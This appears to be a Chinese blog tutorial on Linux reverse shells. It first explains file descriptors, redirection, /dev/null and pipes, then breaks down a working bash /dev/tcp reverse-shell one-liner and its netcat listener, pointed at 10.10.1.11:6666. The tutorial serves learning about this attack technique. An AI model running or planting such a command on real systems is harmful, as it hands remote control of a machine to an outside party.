文章目录
Linux反弹Shell方法
Linux标准文件描述符
Linux系统将所有设备都当作文件来处理,而Linux用文件描述符来标识每个文件对象。当Linux启动的时候会默认打开三个文件描述符。
文件描述符 | 缩写 | 描述 | 默认设备 |
---|---|---|---|
0 | STDIN | 标准输入 | 默认设备键盘 |
1 | STDOUT | 标准输出 | 默认设备显示器 |
2 | STDERR | 标准错误输出 | 默认设备显示器 |
我们与计算机之间的交互是我可以输入一些指令之后它给我一些输出。
文件描述符0:理解为我和计算机交互时的输入,而这个输入默认是指向键盘的;
文件描述符1:理解为我和计算机交互时的输出,而这个输出默认是指向显示器的;
文件描述符2:理解为我和计算机交互时,计算机出现错误时的输出,而这个输出默认是和文件描述符1指向一个位置;
更改标准输出的位置
把标准输出位置更改到test文件中:
exec 1> test
把当前标准输出重定向到test文件中:
➜ ~ ➜ echo 'lst' 1> test
➜ ~ ➜ cat test
lst
更改标准输入的位置
从键盘输入,把输入读入user变量
➜ ~ ➜ read user
testtest
➜ ~ ➜ echo $user
testtest
把test文件中的内容重定向到标准输入:
➜ ~ ➜ read user 0< test
➜ ~ ➜ echo $user
lst
标准错误输出和标准输出的区别是,它在命令出错情况下的输出。
exec 2> test
分配自己的文件描述符:
➜ ~ ➜ exec 5> test
➜ ~ ➜ echo 'are you ok?' 1>&5
➜ ~ ➜ cat test
are you ok?
把文件描述符5指向test文件,然后把当前输出重定向到文件描述符5(用&引用文件描述符,即找到文件描述符指向的目标文件)
/dev/null
特殊文件,写入的任何东西都会被清空。
- 把标准错误输出重定向到/dev/null,从而丢掉不想保存的错误信息
whoami 2>/dev/null
- 快速移除文件中的数据而不用删除文件
cat /dev/null > test
重定向
重定向是把输出定向到文件或者标准流。重定向输入输出本质上就是重定向文件描述符。
输入重定向
<
从文件读取输入。
输出重定向
>
将输出保存到文件。
>>
将输出追加到文件。
管道
|
将一个程序的输出作为输入发送到另一个程序。
反弹shell的本质
什么是反弹shell
被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。
被控端:
bash -i >& /dev/tcp/10.10.1.11/6666 0>&1
控制端:
nc –lvvp 6666
参数解释:
bash -i
打开一个交互式的bash shell。
/dev目录
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发起了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
/dev/tcp/10.10.1.11/6666
和10.10.1.11的6666端口建立TCP连接
实现控制端和被控端之间的交互
- 把被控端的交互式shell输出重定向到控制端:
bash -i > /dev/tcp/10.10.1.11/6666
把被控端执行的命令结果返回到控制端。